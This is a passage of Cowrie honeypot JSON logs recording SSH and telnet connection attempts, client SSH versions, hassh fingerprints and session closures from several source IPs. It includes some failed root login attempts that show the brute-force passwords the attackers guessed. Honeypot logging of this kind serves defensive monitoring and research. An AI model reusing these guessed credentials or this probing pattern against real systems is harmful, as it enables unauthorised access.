ellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:13.360600Z","src_ip":"182.48.68.82","session":"97347d8c289b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":57246,"dst_ip":"159.203.135.109","dst_port":23,"session":"01b18375a584","protocol":"telnet","message":"New connection: 111.90.147.30:57246 (159.203.135.109:23) [session: 01b18375a584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:13.568008Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"mas@2016","message":"login attempt [root/mas@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:14.359584Z","src_ip":"182.48.68.82","session":"97347d8c289b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:15.603553Z","src_ip":"182.48.68.82","session":"97347d8c289b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":57258,"dst_ip":"159.203.135.109","dst_port":23,"session":"11f1f52d96da","protocol":"telnet","message":"New connection: 111.90.147.30:57258 (159.203.135.109:23) [session: 11f1f52d96da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:15.830837Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":45422,"dst_ip":"159.203.135.109","dst_port":23,"session":"d70a024dfd39","protocol":"telnet","message":"New connection: 111.90.147.30:45422 (159.203.135.109:23) [session: d70a024dfd39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:20.892318Z"}
{"eventid":"cowrie.session.closed","duration":31.324124336242676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:24.616520Z","src_ip":"104.245.105.2","session":"6e9e96cca78d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42626,"dst_ip":"10.17.0.5","dst_port":23,"session":"6767530c9a92","protocol":"telnet","message":"New connection: 104.245.105.2:42626 (10.17.0.5:23) [session: 6767530c9a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:24.641546Z"}
{"eventid":"cowrie.session.closed","duration":31.126934051513672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:25.077548Z","src_ip":"111.90.147.30","session":"d0ea70bff6f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":45438,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d693cbda672","protocol":"telnet","message":"New connection: 111.90.147.30:45438 (159.203.135.109:23) [session: 4d693cbda672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:25.191998Z"}
{"eventid":"cowrie.session.closed","duration":30.80245590209961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:26.761072Z","src_ip":"111.90.147.30","session":"763bc1d722e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":45454,"dst_ip":"159.203.135.109","dst_port":23,"session":"3604fa5598f0","protocol":"telnet","message":"New connection: 111.90.147.30:45454 (159.203.135.109:23) [session: 3604fa5598f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:27.840997Z"}
{"eventid":"cowrie.session.closed","duration":31.679304122924805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:30.137320Z","src_ip":"111.90.147.30","session":"e9cd8b05db1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.060861587524414,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:30.685103Z","src_ip":"104.245.105.2","session":"c9051c404ff5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75437068939209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:33.043478Z","src_ip":"111.90.147.30","session":"41ec5c452030","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.486870765686035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:34.079085Z","src_ip":"111.90.147.30","session":"4d081f69c13e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.867629766464233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:34.283343Z","src_ip":"111.90.147.30","session":"4b18a1ed2c72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39445424079895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:35.101758Z","src_ip":"111.90.147.30","session":"701c38694870","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53634,"dst_ip":"10.17.0.5","dst_port":23,"session":"f52296da21fb","protocol":"telnet","message":"New connection: 104.245.105.2:53634 (10.17.0.5:23) [session: f52296da21fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:35.454797Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":41826,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eadfb73c324","protocol":"telnet","message":"New connection: 111.90.147.30:41826 (159.203.135.109:23) [session: 4eadfb73c324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:39.863251Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":41832,"dst_ip":"159.203.135.109","dst_port":23,"session":"8239bef7e349","protocol":"telnet","message":"New connection: 111.90.147.30:41832 (159.203.135.109:23) [session: 8239bef7e349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:43.030948Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":41846,"dst_ip":"159.203.135.109","dst_port":23,"session":"017d7e09c420","protocol":"telnet","message":"New connection: 111.90.147.30:41846 (159.203.135.109:23) [session: 017d7e09c420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:44.916447Z"}
{"eventid":"cowrie.session.closed","duration":31.385854959487915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:44.953726Z","src_ip":"111.90.147.30","session":"01b18375a584","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.363837242126465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:47.194538Z","src_ip":"111.90.147.30","session":"11f1f52d96da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":45780,"dst_ip":"159.203.135.109","dst_port":23,"session":"d306dae1f77d","protocol":"telnet","message":"New connection: 111.90.147.30:45780 (159.203.135.109:23) [session: d306dae1f77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:51.385729Z"}
{"eventid":"cowrie.session.closed","duration":31.02780294418335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:51.919950Z","src_ip":"111.90.147.30","session":"d70a024dfd39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58692,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc3befb549a7","protocol":"telnet","message":"New connection: 104.245.105.2:58692 (10.17.0.5:23) [session: dc3befb549a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:56.016187Z"}
{"eventid":"cowrie.session.closed","duration":31.35499668121338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:56.546858Z","src_ip":"111.90.147.30","session":"4d693cbda672","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.520489931106567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:59.361356Z","src_ip":"111.90.147.30","session":"3604fa5598f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.99691081047058,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:02.638354Z","src_ip":"104.245.105.2","session":"6767530c9a92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79512095451355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:06.249784Z","src_ip":"104.245.105.2","session":"f52296da21fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.446338176727295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:11.309457Z","src_ip":"111.90.147.30","session":"4eadfb73c324","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920836448669434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:13.951679Z","src_ip":"111.90.147.30","session":"8239bef7e349","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":56712,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc5f3ba25e3d","protocol":"ssh","message":"New connection: 182.48.68.82:56712 (159.203.135.109:22) [session: cc5f3ba25e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:15.807560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:15.816853Z","src_ip":"182.48.68.82","session":"cc5f3ba25e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.11550521850586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:16.031861Z","src_ip":"111.90.147.30","session":"017d7e09c420","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:16.057617Z","src_ip":"182.48.68.82","session":"cc5f3ba25e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#qweASDzxc","message":"login attempt [root/!@#qweASDzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:17.054389Z","src_ip":"182.48.68.82","session":"cc5f3ba25e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:18.297966Z","src_ip":"182.48.68.82","session":"cc5f3ba25e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56368,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb90ae5d8aa7","protocol":"telnet","message":"New connection: 104.245.105.2:56368 (10.17.0.5:23) [session: cb90ae5d8aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:20.137109Z"}
{"eventid":"cowrie.session.closed","duration":30.44163227081299,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:21.827266Z","src_ip":"111.90.147.30","session":"d306dae1f77d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07150959968567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:27.087553Z","src_ip":"104.245.105.2","session":"dc3befb549a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":41142,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cc900ac202b","protocol":"telnet","message":"New connection: 111.90.147.30:41142 (159.203.135.109:23) [session: 4cc900ac202b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:36.215029Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52838,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2d3c3ace399","protocol":"telnet","message":"New connection: 104.245.105.2:52838 (10.17.0.5:23) [session: c2d3c3ace399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:39.972608Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":41158,"dst_ip":"159.203.135.109","dst_port":23,"session":"629aaae05291","protocol":"telnet","message":"New connection: 111.90.147.30:41158 (159.203.135.109:23) [session: 629aaae05291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:40.604320Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":60612,"dst_ip":"159.203.135.109","dst_port":23,"session":"f61b7f3ff2a3","protocol":"telnet","message":"New connection: 111.90.147.30:60612 (159.203.135.109:23) [session: f61b7f3ff2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:50.621448Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34426,"dst_ip":"10.17.0.5","dst_port":23,"session":"71fc4b7c3fd7","protocol":"telnet","message":"New connection: 104.245.105.2:34426 (10.17.0.5:23) [session: 71fc4b7c3fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:54.048281Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34430,"dst_ip":"10.17.0.5","dst_port":23,"session":"50207b89fbe5","protocol":"telnet","message":"New connection: 104.245.105.2:34430 (10.17.0.5:23) [session: 50207b89fbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:21:56.484656Z"}
{"eventid":"cowrie.session.closed","duration":41.23938608169556,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:01.376393Z","src_ip":"104.245.105.2","session":"cb90ae5d8aa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":53548,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1ea8da669cf","protocol":"telnet","message":"New connection: 111.90.147.30:53548 (159.203.135.109:23) [session: b1ea8da669cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:06.363505Z"}
{"eventid":"cowrie.session.closed","duration":30.682974576950073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:06.897908Z","src_ip":"111.90.147.30","session":"4cc900ac202b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":58880,"dst_ip":"159.203.135.109","dst_port":22,"session":"8416748c78bf","protocol":"ssh","message":"New connection: 194.59.206.2:58880 (159.203.135.109:22) [session: 8416748c78bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:07.546496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:07.552044Z","src_ip":"194.59.206.2","session":"8416748c78bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:07.638434Z","src_ip":"194.59.206.2","session":"8416748c78bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:07.732633Z","src_ip":"194.59.206.2","session":"8416748c78bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.40289044380188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:11.375388Z","src_ip":"104.245.105.2","session":"c2d3c3ace399","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.573190689086914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:12.177311Z","src_ip":"111.90.147.30","session":"629aaae05291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":58442,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9fd83459e81","protocol":"telnet","message":"New connection: 111.90.147.30:58442 (159.203.135.109:23) [session: a9fd83459e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:14.629207Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":60912,"dst_ip":"159.203.135.109","dst_port":22,"session":"486d1041229f","protocol":"ssh","message":"New connection: 182.48.68.82:60912 (159.203.135.109:22) [session: 486d1041229f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:19.480752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:19.485744Z","src_ip":"182.48.68.82","session":"486d1041229f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:19.727024Z","src_ip":"182.48.68.82","session":"486d1041229f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwezxc123","message":"login attempt [root/qwezxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:20.719715Z","src_ip":"182.48.68.82","session":"486d1041229f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:21.963080Z","src_ip":"182.48.68.82","session":"486d1041229f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.450575351715088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:22.071918Z","src_ip":"111.90.147.30","session":"f61b7f3ff2a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45788,"dst_ip":"10.17.0.5","dst_port":23,"session":"277cf6e66b87","protocol":"telnet","message":"New connection: 104.245.105.2:45788 (10.17.0.5:23) [session: 277cf6e66b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:24.520905Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":48012,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c69b948e4e5","protocol":"telnet","message":"New connection: 111.90.147.30:48012 (159.203.135.109:23) [session: 4c69b948e4e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:25.206976Z"}
